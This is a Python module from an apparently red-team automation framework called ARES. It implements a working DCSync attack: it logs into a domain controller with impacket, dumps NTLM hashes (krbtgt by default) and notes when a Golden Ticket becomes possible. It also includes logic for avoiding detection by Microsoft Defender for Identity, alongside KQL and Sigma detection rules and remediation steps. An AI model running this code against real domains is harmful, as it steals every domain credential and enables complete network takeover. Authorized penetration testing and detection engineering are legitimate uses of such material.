Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

15.5 KB
Raw Blame
"""
DCSync - Production Implementation using impacket.secretsdump
MITRE: T1003.006 - Replicates NTLM hashes via MS-DRSR.
⚠️ Very noisy - auto-blocked in STEALTH profile. Triggers MDI in seconds.
"""
from __future__ import annotations

from typing import Any

from ares.core.logger import get_logger

logger = get_logger("ares.modules.ad.dcsync")
from ares.core.campaign import NoiseProfile, Severity
from ares.core.security import mask_secret_hash, sanitize_hostname, sanitize_ldap
from ares.core.tracing import trace_module
from ares.modules.params import DCSyncParams
from ares.sdk import (
    BaseModule,
    EvidenceRecord,
    LockoutCircuitBreaker,
    ModuleResult,
    NetworkPermission,
    OpsecLevel,
    ProcessPermission,
    module_contract,
)


@module_contract(
    permissions=[
        NetworkPermission(ports=[135, 445], protocols=["tcp"]),
        ProcessPermission(allow_subprocesses=False),
    ],
    circuit_breaker=LockoutCircuitBreaker(),
    params_model=DCSyncParams,
)
class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):
    """
    ad.dcsync - Replicate domain hashes via MS-DRSR (requires DA or replication rights)

    OPSEC: HIGH_NOISE
    MITRE: "T1003.006"
    REQUIRES: "domain_admin_creds"
    OUTPUTS:  "ntlm_hashes"
    """
    MODULE_ID          = "ad.dcsync"
    MODULE_NAME        = "DCSync"
    MODULE_CATEGORY    = "ad"
    MODULE_DESCRIPTION = "Replicate domain hashes via MS-DRSR (requires DA or replication rights)"
    MODULE_AUTHOR      = "ARES Team <[email protected]>"
    OPSEC_LEVEL        = OpsecLevel.HIGH_NOISE
    MIN_NOISE_PROFILE  = "normal"   # blocked in stealth - triggers Microsoft Defender for Identity
    REQUIRES           = ["domain_admin_creds"]
    OUTPUTS            = ["ntlm_hashes"]
    MITRE_TECHNIQUES   = ["T1003.006"]
    MODULE_TIMEOUT_SECONDS: int | None = 600  # seconds
    PARAMS_MODEL       = DCSyncParams

    async def assess_feasibility(self, ctx: "Any") -> Any:
        """
        Assess pre-flight feasibility for DCSync.
        Evaluates DC replication rights, noise profile restrictions,
        and MDI / DRSUAPI monitoring alarms, recommending stealthier alternatives (ad.adcs, ad.shadow_credentials).
        """
        from ares.core.campaign import NoiseProfile
        from ares.modules.base import FeasibilityReport
        ad = self._extract_ad_params(ctx)
        blockers: list[str] = []
        recommendations: list[str] = []
        score = 1.0
        risk = "high_noise"

        target_host = ad.get("dc") or getattr(ctx, "target", "")
        if not target_host:
            blockers.append("No Domain Controller (dc) or target IP specified")
            score -= 0.5

        if not ad.get("username"):
            blockers.append("No Domain Admin or replication credentials available")
            score -= 0.4
            recommendations.append("ad.adcs")
            recommendations.append("ad.kerberoast")

        noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
        if noise == NoiseProfile.STEALTH:
            blockers.append("Blocked in STEALTH profile: MS-DRSR replication generates critical SIEM/MDI alarms")
            score = 0.05
            risk = "critical_alarm"
            recommendations.append("ad.adcs")
            recommendations.append("ad.shadow_credentials")

        session = getattr(ctx, "session", None)
        if session and hasattr(session, "get_host") and target_host:
            host_state = session.get_host(target_host)
            if host_state:
                if host_state.has_defense("mde_identity") or host_state.has_defense("drsuapi_monitoring"):
                    risk = "critical_alarm"
                    score -= 0.4
                    recommendations.append("ad.adcs")
                    recommendations.append("ad.shadow_credentials")

        feasible = len(blockers) == 0 and score >= 0.4
        return FeasibilityReport(
            feasible=feasible,
            score=max(0.0, min(1.0, score)),
            risk_level=risk,
            blockers=blockers,
            recommended_alternatives=recommendations,
            opsec_tuning={"suggested_alternatives": ["ad.adcs", "ad.shadow_credentials"] if risk == "critical_alarm" else []},
            details={"target_user": getattr(ctx, "params", {}).get("target_user", "krbtgt")},
        )

    async def validate(self, ctx: "Any") -> None:
        """
        Enforce dc, domain, domain-admin credentials, and noise profile.
        DCSync requires DA-level credentials - catch misconfigured runs early.
        """
        from ares.core.campaign import NoiseProfile
        from ares.core.context import ExecutionContext
        from ares.core.errors import ModuleValidationError
        if not isinstance(ctx, ExecutionContext):
            return
        ad = self._extract_ad_params(ctx)
        if not ad["dc"]:
            raise ModuleValidationError(
                "ad.dcsync requires 'dc' (Domain Controller IP or hostname).",
                module_id=self.MODULE_ID, field="dc",
            )
        if not ad["domain"]:
            raise ModuleValidationError(
                "ad.dcsync requires 'domain' (e.g. corp.local).",
                module_id=self.MODULE_ID, field="domain",
            )
        if not ad["username"]:
            raise ModuleValidationError(
                "ad.dcsync requires Domain Admin credentials - "
                "pass 'username'/'password' in params or provide a DA vault credential.",
                module_id=self.MODULE_ID, field="username",
            )
        # Stealth check - surface this before any connection is attempted
        noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
        if noise == NoiseProfile.STEALTH:
            raise ModuleValidationError(
                "ad.dcsync is blocked in STEALTH noise profile - "
                "MS-DRSR replication from non-DC triggers Microsoft Defender for Identity "
                "immediately. Use NORMAL or AGGRESSIVE profile.",
                module_id=self.MODULE_ID, field="noise_profile",
            )
        if isinstance(ctx.params, dict):
            for k in ("dc", "domain", "username", "password"):
                if k not in ctx.params and ad.get(k):
                    ctx.params[k] = ad[k]
        await super().validate(ctx)

    async def execute(self, ctx: "Any") -> "ModuleResult":
        """ExecutionContext-based entry point (v0.9.0+). Credentials sourced from vault."""
        from ares.modules.base import ModuleResult
        ad = self._extract_ad_params(ctx)
        dc, domain, username, password = ad["dc"], ad["domain"], ad["username"], ad["password"]
        target_user = ctx.params.get("target_user", "krbtgt")
        if getattr(ctx, "dry_run", False):
            return ModuleResult(
                status="dry_run", module_id=self.MODULE_ID,
                raw={"dry_run": True, "dc": dc, "domain": domain},
            )
        findings, raw = await self.run(
            dc=dc, username=username, password=password, domain=domain, target_user=target_user,
        )

        # Cryptographic Evidence Records with SHA-256 Merkle Provenance
        evidence_chain: list[EvidenceRecord] = []
        for finding in findings:
            ev = EvidenceRecord(
                artifact_id=f"dcsync-{finding.title[:20].lower().replace(' ', '-')}",
                source_target=dc,
                collected_by=self.MODULE_ID,
                data={
                    "title": finding.title,
                    "severity": str(finding.severity),
                    "description": finding.description,
                    "mitre": finding.mitre_technique,
                },
                tags=["ad", "dcsync", "ntlm"],
            )
            evidence_chain.append(ev)

        raw["evidence_chain"] = [e.data for e in evidence_chain]
        raw["evidence_integrity"] = [e.record_hash for e in evidence_chain]

        # Closed-Loop Purple Telemetry: KQL & Sigma rule synthesis
        kql_query = (
            "// ARES Closed-Loop Telemetry: Detect DRSUAPI DCSync Directory Replication\n"
            "SecurityEvent\n"
            "| where EventID == 4662\n"
            "| where Properties has \"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\" or Properties has \"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\"\n"
            "| where SubjectUserName !endswith \"$\"\n"
            "| project TimeGenerated, Computer, SubjectUserName, ObjectServer, Properties, AccessMask\n"
        )
        sigma_rule = (
            "title: Directory Service Replication via DRSUAPI (DCSync)\n"
            "id: d4e5f6a1-ares-4662-dcsync\n"
            "status: experimental\n"
            "description: Detects DS-Replication-Get-Changes-All extended right request via MS-DRSR by non-machine account\n"
            "logsource:\n"
            "  product: windows\n"
            "  service: security\n"
            "detection:\n"
            "  selection:\n"
            "    EventID: 4662\n"
            "    Properties|contains: '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'\n"
            "  filter:\n"
            "    SubjectUserName|endswith: '$'\n"
            "  condition: selection and not filter\n"
            "level: critical\n"
            "tags:\n"
            "  - attack.credential_access\n"
            "  - attack.t1003.006\n"
        )
        loot_items: list[dict[str, Any]] = raw.get("loot", [])
        if not any(l.get("loot_type") == "detection_rule_kql" for l in loot_items):
            loot_items.extend([
                {
                    "name": "Detection Rule (KQL): DCSync Replication Alert",
                    "loot_type": "detection_rule_kql",
                    "description": "Microsoft Sentinel KQL query for detecting DRSUAPI replication from non-DC principals",
                    "content": {"kql": kql_query, "event_id": 4662},
                    "tags": ["detection", "kql", "sentinel", "blue_team"],
                },
                {
                    "name": "Detection Rule (Sigma): DCSync Replication Alert",
                    "loot_type": "detection_rule_sigma",
                    "description": "Sigma YAML detection rule for Windows Security Event 4662 replication rights",
                    "content": {"sigma": sigma_rule},
                    "tags": ["detection", "sigma", "siem", "blue_team"],
                },
            ])
        raw["loot"] = loot_items
        raw["replication_extended_rights_audited"] = True
        raw["event_ids_audited"] = [4662, 5145]

        return ModuleResult(
            status="success" if (findings or any(raw.get(_k) for _k in self.OUTPUTS)) else "partial",  # AUDIT run-1 H14
            findings=findings, raw=raw,
            module_id=self.MODULE_ID,
            execution_id=getattr(ctx, "execution_id", ""),
        )

    @trace_module("ad.dcsync")
    async def run(self, dc, username, password, domain, target_user="krbtgt", **kwargs):
        if self.campaign.noise_profile == NoiseProfile.STEALTH:
            logger.warning("dcsync_blocked", reason="stealth_profile")
            return [], {"skipped":True, "reason":"stealth_profile_blocked_dcsync"}
        dc, username, domain, target_user = (sanitize_hostname(dc), sanitize_ldap(username),
                                              sanitize_ldap(domain), sanitize_ldap(target_user))
        await self.before_request(dc, "dcsync")
        logger.warning("dcsync_start", dc=dc, target=target_user, msg="HIGH_NOISE - TRIGGERS_MDI")
        try:
            import asyncio as _asyncio
            loop = _asyncio.get_running_loop()
            hashes = await loop.run_in_executor(
                None,
                lambda: self._run_dcsync_sync(dc, username, password, domain, target_user),
            )
        except Exception as exc:
            from ares.core.errors import AuthenticationFailed, InsufficientPrivilege, NetworkError
            err = str(exc).lower()
            if "access denied" in err or "rpc_s_access_denied" in err:
                raise InsufficientPrivilege(f"DCSync needs DA rights on {dc}.",
                    module_id=self.MODULE_ID, target=dc, required_privilege="domain_admin") from exc
            if "invalid credentials" in err or "logon failure" in err:
                raise AuthenticationFailed(str(exc), username=username,
                    module_id=self.MODULE_ID, target=dc) from exc
            raise NetworkError(f"DCSync failed: {exc}") from exc
        raw = {"ntlm_hashes": hashes, "target": target_user}
        self._analyze(raw, target_user)
        return self._findings, raw

    def _run_dcsync_sync(self, dc, username, password, domain, target_user):
        """
        Sync - runs in executor (Bug fix: was async with blocking SMB/RPC calls).
        Uses impacket.examples.secretsdump with stable callback-based API.
        try/finally ensures RemoteOperations.finish() + smb.logoff() always called.
        """
        from impacket.examples.secretsdump import NTDSHashes, RemoteOperations
        from impacket.smbconnection import SMBConnection

        smb = SMBConnection(dc, dc, timeout=30)
        smb.login(username, password, domain)

        remote_ops = RemoteOperations(smb, doKerberos=False)
        remote_ops.enableRegistry()

        hashes: list[dict] = []

        try:
            ntds = NTDSHashes(
                None, None,
                isRemote       = True,
                history        = False,
                noLMHash       = True,
                remoteOps      = remote_ops,
                useVSSMethod   = False,
                justNTLM       = True,
                pwdLastSet     = False,
                resumeSession  = None,
                outputFileName = None,
                justUser       = target_user if target_user != "all" else None,
                printUserStatus = False,
            )

            def _on_secret(secret_type: str, secret: str) -> None:
                """Callback - impacket calls this for each dumped hash."""
                if ":::" not in secret:
                    return
                parts = secret.split(":")
                if len(parts) < 4:
                    return
                nt = parts[3].rstrip()
                # Skip empty/blank hashes
                if nt in ("", "31d6cfe0d16ae931b73c59d7e0c089c0"):
                    return
                hashes.append({
                    "username": parts[0],
                    "rid":      parts[1],
                    "nt_hash":  nt,
                })

            ntds.dump()
            ntds.export(_on_secret)
            ntds.finish()

        finally:
            try:
                remote_ops.finish()
            except Exception:
                pass
            try:
                smb.logoff()
            except Exception:
                pass

        logger.info("dcsync_complete", count=len(hashes))
        return hashes

    def _analyze(self, raw, target):
        hashes = raw.get("ntlm_hashes",[])
        if not hashes:
            return
        krbtgt = next((h for h in hashes if h["username"].lower()=="krbtgt"), None)
        self.finding(title=f"DCSync - {len(hashes)} NTLM Hash(es)",
            description=(f"Replicated {len(hashes)} NTLM hashes via DCSync. "
                         + ("krbtgt obtained - Golden Ticket possible. " if krbtgt else "")),
            severity=Severity.CRITICAL, mitre_technique="T1003.006", mitre_tactic="Credential Access",
            evidence={"hash_count":len(hashes),"target":target,"krbtgt_obtained":bool(krbtgt),
                      "sample":[f"{h['username']}:::{mask_secret_hash(h['nt_hash'])}" for h in hashes[:3]]},
            remediation=("1. Reset krbtgt TWICE 24h apart. 2. Investigate replication rights. "
                         "3. Enable Microsoft Defender for Identity."))